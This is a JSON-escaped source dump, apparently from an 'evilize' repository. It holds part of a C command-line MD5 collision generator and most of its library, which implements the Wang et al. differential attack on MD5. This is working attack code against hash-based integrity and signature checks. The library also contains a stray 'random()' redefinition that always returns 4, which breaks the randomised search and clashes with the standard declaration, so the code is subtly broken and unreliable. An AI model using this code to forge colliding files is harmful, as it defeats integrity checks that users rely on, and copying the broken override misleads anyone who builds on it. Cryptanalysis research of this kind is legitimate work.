WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\\n\"\n  \"WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\\n\"\n  \"DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,\\n\"\n  \"INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\\n\"\n  \"(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\\n\"\n  \"SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\\n\"\n  \"HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\\n\"\n  \"STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING\\n\"\n  \"IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\\n\"\n  \"POSSIBILITY OF SUCH DAMAGE.\\n\");\n}\n\nstatic struct option longopts[] = {\n  {\"help\",         0, 0, 'h'},\n  {\"license\",      0, 0, 'L'},\n  {\"version\",      0, 0, 'V'},\n  {\"quiet\",        0, 0, 'q'},\n  {\"seed\",         1, 0, 's'},\n  {0, 0, 0, 0}\n};\n\nstatic char *shortopts = \"hLVqs:\";\n\n#define COL0 \"\\033[G\"\n#define CTLK \"\\033[K\"\n\nstatic int progress_printer_f(void *priv, char *arg) {\n  fprintf(stderr, \"\"COL0\"Progress: %s\"CTLK\"\", arg);\n  fflush(stderr);\n  return 0;\n}\n\nstatic callback_t progress_printer = { &progress_printer_f, NULL};\n\n/* write special purpose format file, compatible with md5coll. */\nstatic void write_collision_file(FILE *fout, unsigned int m0[32], unsigned int m1[32]) {\n  int i;\n  \n  fprintf(fout, \"unsigned int m0[32] = {\\n\");\n  for (i=0; i<32; i++) {\n      fprintf(fout, \"0x%08x, \", m0[i]);\n      if ((i & 3) == 3) {\n\tfprintf(fout, \"\\n\");\n      }\n  }\n  fprintf(fout, \"};\\n\\n\");\n  fprintf(fout, \"unsigned int m1[32] = {\\n\");\n  for (i=0; i<32; i++) {\n    fprintf(fout, \"0x%08x, \", m1[i]);\n    if ((i & 3) == 3) {\n      fprintf(fout, \"\\n\");\n    }\n  }\n  fprintf(fout, \"};\\n\\n\");\n  return;\n}\n\nint main(int ac, char *av[])\n{\n  unsigned int m0[32];\n  unsigned int m1[32];\n  int c, count;\n  callback_t *cb;\n  \n  /* command line options */\n  int have_iv = 0;\n  unsigned int IV[4];\n  int quiet = 0;\n  unsigned int seed = time(NULL) ^ (getpid() << 16);\n  \n  /* process command line options */\n  while ((c = getopt_long(ac, av, shortopts, longopts, NULL)) != -1) {\n    switch (c) {\n    case 'h':\n      usage(stdout);\n      exit(0);\n      break;\n    case 'L':\n      license(stdout);\n      exit(0);\n      break;\n    case 'V':\n      version(stdout);\n      exit(0);\n      break;\n    case 'q':\n      quiet = 1;\n      break;\n    case 's':\n      seed = strtoul(optarg, NULL, 0);\n      break;\n    case '?':\n      fprintf(stderr, \"Try --help for more information.\\n\");\n      exit(1);\n      break;\n    }\n  }\n  count = ac-optind;\n      \n  if (count == 4) {\n    IV[0] = strtoul(av[optind], NULL, 0);\n    IV[1] = strtoul(av[optind+1], NULL, 0);\n    IV[2] = strtoul(av[optind+2], NULL, 0);\n    IV[3] = strtoul(av[optind+3], NULL, 0);\n    have_iv = 1;\n  } else if (count == 0) {\n    have_iv = 0;\n  } else {\n    fprintf(stderr, \"%s: wrong number of arguments. Try --help for more information.\\n\", NAME);\n    exit(1);\n  }\n\n  /* end command line options */\n\n  if (quiet) {\n    cb = NULL;\n  } else {\n    cb = &progress_printer;\n    fprintf(stdout, \"Random seed: %u\\n\", seed);\n  }\n\n  srandom(seed);\n  \n  if (have_iv) {\n    md5coll_with_iv(IV, m0, m1, cb);\n  } else {\n    md5coll(m0, m1, cb);\n  }\n  if (cb) {\n    fprintf(stderr, \" (done)\\n\"); /* finish progress display */\n  }  \n\n  write_collision_file(stdout, m0, m1);\n\n  return 0;\n}\n"
  },
  {
    "path": "evilize/md5coll_lib.c",
    "content": "/* MD5 Collision Generator\n * Copyright (C) 2005 Patrick Stach <pstach@stachliu.com>.\n * Implementation of paper by Xiaoyun Wang, et al.\n * A few optimizations to make the solving method a bit more deterministic.\n * Modifications Copyright (C) 2006 Peter Selinger.\n * \n * This work is licensed under a modified BSD License, see the file\n * MBSD-LICENSE for full details.\n * Any derivative works or references must cite the authors.\n */\n\n /*\n * Changes:\n * 2006/02/09: Peter Selinger - added emergency exit to block2\n * 2006/02/07: Peter Selinger - converted to linkable library\n * 2006/02/07: Peter Selinger - added progress report feature\n *\n * Notes: \n * - this library is not reentrant; state \"s\" is global. This\n *   is about 10% faster than using a dynamic state.\n * - Requires being built as 32 bit (unsigned int as 32 bit)\n */\n\n#include <stdlib.h>  /* for random() */\n#include <string.h>  /* for memcpy() */\n#include <stdio.h>\n\n#include \"md5coll_lib.h\"\n\n#define F(x, y, z) (z ^ (x & (y ^ z)))\n#define G(x, y, z) F(z, x, y)\n#define H(x, y, z) (x ^ y ^ z)\n#define I(x, y, z) (y ^ (x | ~z))\n\n#define RL(x, y) (((x) << (y)) | ((x) >> (32 - (y))))\n#define RR(x, y) (((x) >> (y)) | ((x) << (32 - (y))))\n\n#define LOOP_11 300\n#define LOOP_12 0x20000000\n#define LOOP_21 1000\n#define LOOP_22 0x4000000\n\nstruct state_s {\n  unsigned int A0, B0, C0, D0;\n  unsigned int A1, B1, C1, D1;\n  unsigned int Q0[65], Q1[65];\n  unsigned int X0[32], X1[32];\n  int ct1, ct2;\n};\ntypedef struct state_s state_t;\n\nstatic state_t s;\n\nstatic unsigned int IV_default[4] = \n  { 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476 };\n\nstatic inline int callback2(callback_t *cb, int a, int b) {\n  char buf[80];\n  sprintf(buf, \"%d.%d\", a, b);\n  return cb->f(cb->priv, buf);\n}  \n\nstatic inline int callback4(callback_t *cb, int a, int b, int c, int d) {\n  char buf[80];\n  sprintf(buf, \"%d.%d.%d.%d\", a, b, c, d);\n  return cb->f(cb->priv, buf);\n}  \n\nint random(){\n\treturn 4;\n}\n/* return 0 on success, 1 on interrupt */\nint block1(unsigned int IV[4], callback_t *cb, int ct1)\n{\n\tint i;\n\nblock1_again:\n\tfor(;;)\n\t{\n\t\t/* C1 */\n\t\ts.Q0[ 3] = random() & ~0x00800040;\n\t\ts.Q1[ 3] = s.Q0[ 3];\n\n\t\t/* B1 */\n\t\ts.Q0[ 4] = (random() | 0x80080800) & ~(0x00800040 | 0x0077f780);\n\t\ts.Q0[ 4] |= (s.Q0[ 3] & 0x0077f780);\n\t\ts.Q1[ 4] = s.Q0[ 4];\n\n\t\t/* A2 */\n\t\ts.Q0[ 5] = (random() | 0x88400025) & ~0x02bfffc0;\n\t\ts.Q1[ 5] = s.Q0[ 5] - 0x00000040;\n\n\t\t/* D2 */\n\t\ts.Q0[ 6] = (random() | 0x027fbc41) & ~(0x888043a4 | 0x7500001a);\n\t\ts.Q0[ 6] |= (s.Q0[ 5] & 0x7500001a);\n\t\ts.Q1[ 6] = s.Q0[ 6] - 0x7f800040;\n\n\t\t/* C2 */\n\t\ts.Q0[ 7] = (random() | 0x03fef820) & ~0xfc0107df;\n\t\ts.Q1[ 7] = s.Q0[ 7] - 0x07800041;\n\n\t\ts.X0[ 6] = RR(s.Q0[ 7] - s.Q0[ 6], 17) - F(s.Q0[ 6], s.Q0[ 5], s.Q0[ 4])\n\t\t\t- s.Q0[ 3] - 0xa8304613;\n\t\ts.X1[ 6] = RR(s.Q1[ 7] - s.Q1[ 6], 17) - F(s.Q1[ 6], s.Q1[ 5], s.Q1[ 4])\n\t\t\t- s.Q1[ 3] - 0xa8304613;\n\t\tif(s.X0[ 6] != s.X1[ 6])\n\t\t\tcontinue;\n\n\t\t/* B2 */\n\t\ts.Q0[ 8] = (random() | 0x01910540) & ~0xfe0eaabf;\n\t\ts.Q1[ 8] = s.Q0[ 8] - 0x00827fff;\n\t\t\n\t\ts.X0[ 7] = RR(s.Q0[ 8] - s.Q0[ 7], 22) - F(s.Q0[ 7], s.Q0[ 6], s.Q0[ 5])\n\t\t\t- s.Q0[ 4] - 0xfd469501;\n\t\ts.X1[ 7] = RR(s.Q1[ 8] - s.Q1[ 7], 22) - F(s.Q1[ 7], s.Q1[ 6], s.Q1[ 5])\n\t\t\t- s.Q1[ 4] - 0xfd469501;\n\t\tif(s.X0[ 7] != s.X1[ 7])\n\t\t\tcontinue;\n\n\t\t/* A3 */\n\t\ts.Q0[ 9] = (random() | 0xfb102f3d) & ~(0x040f80c2 | 0x00001000);\n\t\ts.Q0[ 9] |= (s.Q0[ 8] & 0x00001000);\n\t\ts.Q1[ 9] = s.Q0[ 9] - 0x8000003f;\n\n\t\ts.X0[ 8] = RR(s.Q0[ 9] - s.Q0[ 8],  7) - F(s.Q0[ 8], s.Q0[ 7], s.Q0[ 6])\n\t\t\t- s.Q0[ 5] - 0x698098d8;\n\t\ts.X1[ 8] = RR(s.Q1[ 9] - s.Q1[ 8],  7) - F(s.Q1[ 8], s.Q1[ 7], s.Q1[ 6])\n\t\t\t- s.Q1[ 5] - 0x698098d8;\n\t\tif(s.X0[ 8] != s.X1[ 8])\n\t\t\tcontinue;\n\n\t\t/* D3 */\n\t\ts.Q0[10] = (random() | 0x401f9040) & ~0x80802183;\n\t\ts.Q1[10] = s.Q0[10] - 0x7ffff000;\n\n\t\ts.X0[ 9] = RR(s.Q0[10] - s.Q0[ 9], 12) - F(s.Q0[ 9], s.Q0[ 8], s.Q0[ 7])\n\t\t\t- s.Q0[ 6] - 0x8b44f7af;\n\t\ts.X1[ 9] = RR(s.Q1[10] - s.Q1[ 9], 12) - F(s.Q1[ 9], s.Q1[ 8], s.Q1[ 7])\n\t\t\t- s.Q1[ 6] - 0x8b44f7af;\n\t\tif(s.X0[ 9] != s.X1[ 9])\n\t\t\tcontinue;\n\n\t\t/* C3 */\n\t\ts.Q0[11] = (random() | 0x000180c2) & ~(0xc00e3101 | 0x00004000);\n\t\ts.Q0[11] |= (s.Q0[10] & 0x00004000);\n\t\ts.Q1[11] = s.Q0[11] - 0x40000000;\n\n\t\ts.X0[10] = RR(s.Q0[11] - s.Q0[10], 17) - F(s.Q0[10], s.Q0[ 9], s.Q0[ 8])\n\t\t\t- s.Q0[ 7] - 0xffff5bb1;\n\t\ts.X1[10] = RR(s.Q1[11] - s.Q1[10], 17) - F(s.Q1[10], s.Q1[ 9], s.Q1[ 8])\n\t\t\t- s.Q1[ 7] - 0xffff5bb1;\n\t\tif(s.X0[10] != s.X1[10])\n\t\t\tcontinue;\n\n\t\t/* B3 */\n\t\ts.Q0[12] = (random() | 0x00081100) & ~(0xc007e080 | 0x03000000);\n\t\ts.Q0[12] |= (s.Q0[11] & 0x03000000);\n\t\ts.Q1[12] = s.Q0[12] - 0x80002080;\n\t\t\n\t\ts.X0[11] = RR(s.Q0[12] - s.Q0[11], 22) - F(s.Q0[11], s.Q0[10], s.Q0[ 9])\n\t\t\t- s.Q0[ 8] - 0x895cd7be;\n\t\ts.X1[11] = RR(s.Q1[12] - s.Q1[11], 22) - F(s.Q1[11], s.Q1[10], s.Q1[ 9])\n\t\t\t- s.Q1[ 8] - 0x895cd7be;\n\t\tif((s.X0[11] ^ s.X1[11]) != 0x00008000)\n\t\t\tcontinue;\n\n\t\t/* A4 */\n\t\ts.Q0[13] = (random() | 0x410fe008) & ~0x82000180;\n\t\ts.Q1[13] = s.Q0[13] - 0x7f000000;\n\n\t\ts.X0[12] = RR(s.Q0[13] - s.Q0[12],  7) - F(s.Q0[12], s.Q0[11], s.Q0[10])\n\t\t\t- s.Q0[ 9] - 0x6b901122;\n\t\ts.X1[12] = RR(s.Q1[13] - s.Q1[12],  7) - F(s.Q1[12], s.Q1[11], s.Q1[10])\n\t\t\t- s.Q1[ 9] - 0x6b901122;\n\t\tif(s.X0[12] != s.X1[12])\n\t\t\tcontinue;\n\n\t\t/* D4 */\n\t\ts.Q0[14] = (random() | 0x000be188) & ~0xa3040000;\n\t\ts.Q1[14] = s.Q0[14] - 0x80000000;\n\n\t\ts.X0[13] = RR(s.Q0[14] - s.Q0[13], 12) - F(s.Q0[13], s.Q0[12], s.Q0[11])\n\t\t\t- s.Q0[10] - 0xfd987193;\n\t\ts.X1[13] = RR(s.Q1[14] - s.Q1[13], 12) - F(s.Q1[13], s.Q1[12], s.Q1[11])\n\t\t\t- s.Q1[10] - 0xfd987193;\n\t\tif(s.X0[13] != s.X1[13])\n\t\t\tcontinue;\n\n\t\t/* C4 */\n\t\ts.Q0[15] = (random() | 0x21008000) & ~0x82000008;\n\t\ts.Q1[15] = s.Q0[15] - 0x80007ff8;\n\n\t\ts.X0[14] = RR(s.Q0[15] - s.Q0[14], 17) - F(s.Q0[14], s.Q0[13], s.Q0[12])\n\t\t\t- s.Q0[11] - 0xa679438e;\n\t\ts.X1[14] = RR(s.Q1[15] - s.Q1[14], 17) - F(s.Q1[14], s.Q1[13], s.Q1[12])\n\t\t\t- s.Q1[11] - 0xa679438e;\n\t\tif((s.X0[14] ^ s.X1[14]) != 0x80000000)\n\t\t\tcontinue;\n\n\n\t\t/* B4 */\n\t\ts.Q0[16] = (random() | 0x20000000) & ~0x80000000;\n\t\ts.Q1[16] = s.Q0[16] - 0xa0000000;\n\n\t\ts.X0[15] = RR(s.Q0[16] - s.Q0[15], 22) - F(s.Q0[15], s.Q0[14], s.Q0[13])\n\t\t\t- s.Q0[12] - 0x49b40821;\n\t\ts.X1[15] = RR(s.Q1[16] - s.Q1[15], 22) - F(s.Q1[15], s.Q1[14], s.Q1[13])\n\t\t\t- s.Q1[12] - 0x49b40821;\n\t\tif(s.X0[15] != s.X1[15])\n\t\t\tcontinue;\n\t\tbreak;\n\t}\n\n\tfor(i = 0; i < LOOP_11; i++)\n\t{\n\t\t/* A5 */\n\t\ts.Q0[17] = random() & ~(0x80020000 | 0x00008008);\n\t\ts.Q0[17] |= (s.Q0[16] & 0x00008008);\n\t\ts.Q1[17] = s.Q0[17] - 0x80000000;\n\n\t\ts.X0[ 1] = RR(s.Q0[17] - s.Q0[16],  5) - G(s.Q0[16], s.Q0[15], s.Q0[14])\n\t\t\t- s.Q0[13] - 0xf61e2562;\n\t\ts.X1[ 1] = RR(s.Q1[17] - s.Q1[16],  5) - G(s.Q1[16], s.Q1[15], s.Q1[14])\n\t\t\t- s.Q1[13] - 0xf61e2562;\n\t\tif(s.X0[ 1] != s.X1[ 1])\n\t\t\tcontinue;\n\n\t\t/* D5 */\n\t\ts.Q0[18] = RL(G(s.Q0[17], s.Q0[16], s.Q0[15]) + s.Q0[14]\n\t\t\t+ s.X0[ 6] + 0xc040b340,  9) + s.Q0[17];\n\t\tif((s.Q0[18] & 0xa0020000)\n\t\t\t!= (0x00020000 | (s.Q0[17] & 0x20000000)))\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\t\ts.Q1[18] = RL(G(s.Q1[17], s.Q1[16], s.Q1[15]) + s.Q1[14]\n\t\t\t+ s.X1[ 6] + 0xc040b340,  9) + s.Q1[17];\n\t\tif((s.Q0[18] ^ s.Q1[18]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* C5 */\n\t\ts.Q0[19] = RL(G(s.Q0[18], s.Q0[17], s.Q0[16]) + s.Q0[15]\n\t\t\t+ s.X0[11] + 0x265e5a51, 14) + s.Q0[18];\n\t\tif(s.Q0[19] & 0x80020000)\n\t\t\tcontinue;\n\t\ts.Q1[19] = RL(G(s.Q1[18], s.Q1[17], s.Q1[16]) + s.Q1[15]\n\t\t\t+ s.X1[11] + 0x265e5a51, 14) + s.Q1[18];\n\t\tif(s.Q0[19] - s.Q1[19] != 0x7ffe0000)\n\t\t\tcontinue;\n\n\t\t/* B5 */\n\t\ts.Q0[20] = random() & ~0x80000000;\n\t\ts.Q1[20] = s.Q0[20] - 0x80000000;\n\n\t\ts.X0[ 0] = RR(s.Q0[20] - s.Q0[19], 20) - G(s.Q0[19], s.Q0[18], s.Q0[17])\n\t\t\t- s.Q0[16] - 0xe9b6c7aa;\n\t\ts.X1[ 0] = RR(s.Q1[20] - s.Q1[19], 20) - G(s.Q1[19], s.Q1[18], s.Q1[17])\n\t\t\t- s.Q1[16] - 0xe9b6c7aa;\n\t\tif(s.X0[ 0] != s.X1[ 0])\n\t\t\tcontinue;\n\n\t\ts.Q0[ 1] = RL(F(IV[1], IV[2], IV[3]) + IV[0]\n\t\t\t+ s.X0[ 0] + 0xd76aa478,  7) + IV[1];\n\t\ts.Q1[ 1] = s.Q0[ 1];\n\n\t\ts.Q0[ 2] = RL(F(s.Q0[ 1], IV[1], IV[2]) + IV[3]\n\t\t\t+ s.X0[ 1] + 0xe8c7b756, 12) + s.Q0[ 1];\n\t\ts.Q1[ 2] = s.Q0[ 2];\n\n\t\ts.X0[ 2] = RR(s.Q0[ 3] - s.Q0[ 2], 17) - F(s.Q0[ 2], s.Q0[ 1], IV[1])\n\t\t\t- IV[2] - 0x242070db;\n\t\ts.X1[ 2] = s.X0[ 2];\n\n\t\ts.X0[ 3] = RR(s.Q0[ 4] - s.Q0[ 3], 22) - F(s.Q0[ 3], s.Q0[ 2], s.Q0[ 1])\n\t\t\t- IV[1] - 0xc1bdceee;\n\t\ts.X1[ 3] = s.X0[ 3];\n\n\t\ts.X0[ 4] = RR(s.Q0[ 5] - s.Q0[ 4],  7) - F(s.Q0[ 4], s.Q0[ 3], s.Q0[ 2])\n\t\t\t- s.Q0[ 1] - 0xf57c0faf;\n\t\ts.X1[ 4] = RR(s.Q1[ 5] - s.Q1[ 4],  7) - F(s.Q1[ 4], s.Q1[ 3], s.Q1[ 2])\n\t\t\t- s.Q1[ 1] - 0xf57c0faf;\n\t\tif((s.X0[ 4] ^ s.X1[ 4]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\ts.X0[ 5] = RR(s.Q0[ 6] - s.Q0[ 5], 12) - F(s.Q0[ 5], s.Q0[ 4], s.Q0[ 3])\n\t\t\t- s.Q0[ 2] - 0x4787c62a;\n\t\ts.X1[ 5] = RR(s.Q1[ 6] - s.Q1[ 5], 12) - F(s.Q1[ 5], s.Q1[ 4], s.Q1[ 3])\n\t\t\t- s.Q1[ 2] - 0x4787c62a;\n\t\tif(s.X0[ 5] != s.X1[ 5])\n\t\t\tcontinue;\n\n\t\t/* A6 */\n\t\ts.Q0[21] = RL(G(s.Q0[20], s.Q0[19], s.Q0[18]) + s.Q0[17]\n\t\t\t+ s.X0[ 5] + 0xd62f105d,  5) + s.Q0[20];\n\t\tif((s.Q0[21] & 0x80020000) != (s.Q0[20] & 0x00020000))\n\t\t\tcontinue;\n\t\ts.Q1[21] = RL(G(s.Q1[20], s.Q1[19], s.Q1[18]) + s.Q1[17]\n\t\t\t+ s.X1[ 5] + 0xd62f105d,  5) + s.Q1[20];\n\t\tif((s.Q0[21] ^ s.Q1[21]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* D6 */\n\t\ts.Q0[22] = RL(G(s.Q0[21], s.Q0[20], s.Q0[19]) + s.Q0[18]\n\t\t\t+ s.X0[10] + 0x02441453,  9) + s.Q0[21];\n\t\tif(s.Q0[22] & 0x80000000)\n\t\t\tcontinue;\n\t\ts.Q1[22] = RL(G(s.Q1[21], s.Q1[20], s.Q1[19]) + s.Q1[18]\n\t\t\t+ s.X1[10] + 0x02441453,  9) + s.Q1[21];\n\t\tif((s.Q0[22] ^ s.Q1[22]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* C6 */\n\t\ts.Q0[23] = RL(G(s.Q0[22], s.Q0[21], s.Q0[20]) + s.Q0[19]\n\t\t\t+ s.X0[15] + 0xd8a1e681, 14) + s.Q0[22];\n\t\tif(s.Q0[23] & 0x80000000)\n\t\t\tcontinue;\n\t\ts.Q1[23] = RL(G(s.Q1[22], s.Q1[21], s.Q1[20]) + s.Q1[19]\n\t\t\t+ s.X1[15] + 0xd8a1e681, 14) + s.Q1[22];\n\t\tif(s.Q0[23] != s.Q1[23])\n\t\t\tcontinue;\n\n\t\t/* B6 */\n\t\ts.Q0[24] = RL(G(s.Q0[23], s.Q0[22], s.Q0[21]) + s.Q0[20]\n\t\t\t+ s.X0[ 4] + 0xe7d3fbc8, 20) + s.Q0[23];\n\t\ts.Q1[24] = RL(G(s.Q1[23], s.Q1[22], s.Q1[21]) + s.Q1[20]\n\t\t\t+ s.X1[ 4] + 0xe7d3fbc8, 20) + s.Q1[23];\n\t\tif(s.Q0[24] != s.Q1[24])\n\t\t\tcontinue;\n\n\t\t/* A7 */\n\t\ts.Q0[25] = RL(G(s.Q0[24], s.Q0[23], s.Q0[22]) + s.Q0[21]\n\t\t\t+ s.X0[ 9] + 0x21e1cde6,  5) + s.Q0[24];\n\t\ts.Q1[25] = RL(G(s.Q1[24], s.Q1[23], s.Q1[22]) + s.Q1[21]\n\t\t\t+ s.X1[ 9] + 0x21e1cde6,  5) + s.Q1[24];\n\t\tif(s.Q0[25] != s.Q1[25])\n\t\t\tcontinue;\n\n                /* D7 */\n                s.Q0[26] = RL(G(s.Q0[25], s.Q0[24], s.Q0[23]) + s.Q0[22]\n                        + s.X0[14] + 0xc33707d6,  9) + s.Q0[25];\n                s.Q1[26] = RL(G(s.Q1[25], s.Q1[24], s.Q1[23]) + s.Q1[22]\n                        + s.X1[14] + 0xc33707d6,  9) + s.Q1[25];\n                if(s.Q0[26] != s.Q1[26])\n                        continue;\n\n\t\t/* C7 */\n\t\ts.Q0[27] = RL(G(s.Q0[26], s.Q0[25], s.Q0[24]) + s.Q0[23]\n\t\t\t+ s.X0[ 3] + 0xf4d50d87, 14) + s.Q0[26];\n\t\ts.Q1[27] = RL(G(s.Q1[26], s.Q1[25], s.Q1[24]) + s.Q1[23]\n\t\t\t+ s.X1[ 3] + 0xf4d50d87, 14) + s.Q1[26];\n\t\tif(s.Q0[27] != s.Q1[27])\n\t\t\tcontinue;\n\n\t\tbreak;\n\t}\n\tif(i >= LOOP_11)\n\t\tgoto block1_again;\n\n\tct1++;\n\tfor(i = 0; i < LOOP_12; i++)\n\t{\n\t        if (cb) {\n\t\t  if ((i & 0xfffff) == 0) {\n\t\t    if (callback2(cb, ct1, i>>20)) {\n\t\t      return 1;\n\t\t    }\n\t\t  }\n\t\t}\n\n\t\t/* B5 */\n\t\ts.Q0[20] ^= (1 << (random() % 31));\n\t\ts.Q1[20] = s.Q0[20] - 0x80000000;\n\n\t\ts.X0[ 0] = RR(s.Q0[20] - s.Q0[19], 20) - G(s.Q0[19], s.Q0[18], s.Q0[17])\n\t\t\t- s.Q0[16] - 0xe9b6c7aa;\n\t\ts.X1[ 0] = RR(s.Q1[20] - s.Q1[19], 20) - G(s.Q1[19], s.Q1[18], s.Q1[17])\n\t\t\t- s.Q1[16] - 0xe9b6c7aa;\n\t\tif(s.X0[ 0] != s.X1[ 0])\n\t\t\tcontinue;\n\n\t\ts.Q0[ 1] = RL(F(IV[1], IV[2], IV[3]) + IV[0]\n\t\t\t+ s.X0[ 0] + 0xd76aa478,  7) + IV[1];\n\t\ts.Q1[ 1] = s.Q0[ 1];\n\n\t\ts.Q0[ 2] = RL(F(s.Q0[ 1], IV[1], IV[2]) + IV[3]\n\t\t\t+ s.X0[ 1] + 0xe8c7b756, 12) + s.Q0[ 1];\n\t\ts.Q1[ 2] = s.Q0[ 2];\n\t\ts.X0[ 2] = RR(s.Q0[ 3] - s.Q0[ 2], 17) - F(s.Q0[ 2], s.Q0[ 1], IV[1])\n\t\t\t- IV[2] - 0x242070db;\n\t\ts.X1[ 2] = s.X0[ 2];\n\n\t\ts.X0[ 3] = RR(s.Q0[ 4] - s.Q0[ 3], 22) - F(s.Q0[ 3], s.Q0[ 2], s.Q0[ 1])\n\t\t\t- IV[1] - 0xc1bdceee;\n\t\ts.X1[ 3] = s.X0[ 3];\n\n\t\ts.X0[ 4] = RR(s.Q0[ 5] - s.Q0[ 4],  7) - F(s.Q0[ 4], s.Q0[ 3], s.Q0[ 2])\n\t\t\t- s.Q0[ 1] - 0xf57c0faf;\n\t\ts.X1[ 4] = RR(s.Q1[ 5] - s.Q1[ 4],  7) - F(s.Q1[ 4], s.Q1[ 3], s.Q1[ 2])\n\t\t\t- s.Q1[ 1] - 0xf57c0faf;\n\t\tif((s.X0[ 4] ^ s.X1[ 4]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\ts.X0[ 5] = RR(s.Q0[ 6] - s.Q0[ 5], 12) - F(s.Q0[ 5], s.Q0[ 4], s.Q0[ 3])\n\t\t\t- s.Q0[ 2] - 0x4787c62a;\n\t\ts.X1[ 5] = RR(s.Q1[ 6] - s.Q1[ 5], 12) - F(s.Q1[ 5], s.Q1[ 4], s.Q1[ 3])\n\t\t\t- s.Q1[ 2] - 0x4787c62a;\n\t\tif(s.X0[ 5] != s.X1[ 5])\n\t\t\tcontinue;\n\n\t\t/* A6 */\n\t\ts.Q0[21] = RL(G(s.Q0[20], s.Q0[19], s.Q0[18]) + s.Q0[17]\n\t\t\t+ s.X0[ 5] + 0xd62f105d,  5) + s.Q0[20];\n\t\tif((s.Q0[21] & 0x80020000) != (s.Q0[20] & 0x00020000))\n\t\t\tcontinue;\n\t\ts.Q1[21] = RL(G(s.Q1[20], s.Q1[19], s.Q1[18]) + s.Q1[17]\n\t\t\t+ s.X1[ 5] + 0xd62f105d,  5) + s.Q1[20];\n\t\tif((s.Q0[21] ^ s.Q1[21]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* D6 */\n\t\ts.Q0[22] = RL(G(s.Q0[21], s.Q0[20], s.Q0[19]) + s.Q0[18]\n\t\t\t+ s.X0[10] + 0x02441453,  9) + s.Q0[21];\n\t\tif(s.Q0[22] & 0x80000000)\n\t\t\tcontinue;\n\t\ts.Q1[22] = RL(G(s.Q1[21], s.Q1[20], s.Q1[19]) + s.Q1[18]\n\t\t\t+ s.X1[10] + 0x02441453,  9) + s.Q1[21];\n\t\tif((s.Q0[22] ^ s.Q1[22]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* C6 */\n\t\ts.Q0[23] = RL(G(s.Q0[22], s.Q0[21], s.Q0[20]) + s.Q0[19]\n\t\t\t+ s.X0[15] + 0xd8a1e681, 14) + s.Q0[22];\n\t\tif(s.Q0[23] & 0x80000000)\n\t\t\tcontinue;\n\t\ts.Q1[23] = RL(G(s.Q1[22], s.Q1[21], s.Q1[20]) + s.Q1[19]\n\t\t\t+ s.X1[15] + 0xd8a1e681, 14) + s.Q1[22];\n\t\tif(s.Q0[23] != s.Q1[23])\n\t\t\tcontinue;\n\n\t\t/* B6 */\n\t\ts.Q0[24] = RL(G(s.Q0[23], s.Q0[22], s.Q0[21]) + s.Q0[20]\n\t\t\t+ s.X0[ 4] + 0xe7d3fbc8, 20) + s.Q0[23];\n\t\ts.Q1[24] = RL(G(s.Q1[23], s.Q1[22], s.Q1[21]) + s.Q1[20]\n\t\t\t+ s.X1[ 4] + 0xe7d3fbc8, 20) + s.Q1[23];\n\t\tif(s.Q0[24] != s.Q1[24])\n\t\t\tcontinue;\n\n\t\t/* A7 */\n\t\ts.Q0[25] = RL(G(s.Q0[24], s.Q0[23], s.Q0[22]) + s.Q0[21]\n\t\t\t+ s.X0[ 9] + 0x21e1cde6,  5) + s.Q0[24];\n\t\ts.Q1[25] = RL(G(s.Q1[24], s.Q1[23], s.Q1[22]) + s.Q1[21]\n\t\t\t+ s.X1[ 9] + 0x21e1cde6,  5) + s.Q1[24];\n\t\tif(s.Q0[25] != s.Q1[25])\n\t\t\tcontinue;\n\n\t\t/* D7 */\n\t\ts.Q0[26] = RL(G(s.Q0[25], s.Q0[24], s.Q0[23]) + s.Q0[22]\n\t\t\t+ s.X0[14] + 0xc33707d6,  9) + s.Q0[25];\n\t\ts.Q1[26] = RL(G(s.Q1[25], s.Q1[24], s.Q1[23]) + s.Q1[22]\n\t\t\t+ s.X1[14] + 0xc33707d6,  9) + s.Q1[25];\n\t\tif(s.Q0[26] != s.Q1[26])\n\t\t\tcontinue;\n\n\t\t/* C7 */\n\t\ts.Q0[27] = RL(G(s.Q0[26], s.Q0[25], s.Q0[24]) + s.Q0[23]\n\t\t\t+ s.X0[ 3] + 0xf4d50d87, 14) + s.Q0[26];\n\t\ts.Q1[27] = RL(G(s.Q1[26], s.Q1[25], s.Q1[24]) + s.Q1[23]\n\t\t\t+ s.X1[ 3] + 0xf4d50d87, 14) + s.Q1[26];\n\t\tif(s.Q0[27] != s.Q1[27])\n\t\t\tcontinue;\n\n\t\t/* B7 */\n\t\ts.Q0[28] = RL(G(s.Q0[27], s.Q0[26], s.Q0[25]) + s.Q0[24]\n\t\t\t+ s.X0[ 8] + 0x455a14ed, 20) + s.Q0[27];\n\t\ts.Q1[28] = RL(G(s.Q1[27], s.Q1[26], s.Q1[25]) + s.Q1[24]\n\t\t\t+ s.X1[ 8] + 0x455a14ed, 20) + s.Q1[27];\n\t\tif(s.Q0[28] != s.Q1[28])\n\t\t\tcontinue;\n\n\t\t/* A8 */\n\t\ts.Q0[29] = RL(G(s.Q0[28], s.Q0[27], s.Q0[26]) + s.Q0[25]\n\t\t\t+ s.X0[13] + 0xa9e3e905,  5) + s.Q0[28];\n\t\ts.Q1[29] = RL(G(s.Q1[28], s.Q1[27], s.Q1[26]) + s.Q1[25]\n\t\t\t+ s.X1[13] + 0xa9e3e905,  5) + s.Q1[28];\n\t\tif(s.Q0[29] != s.Q1[29])\n\t\t\tcontinue;\n\n\t\t/* D8 */\n\t\ts.Q0[30] = RL(G(s.Q0[29], s.Q0[28], 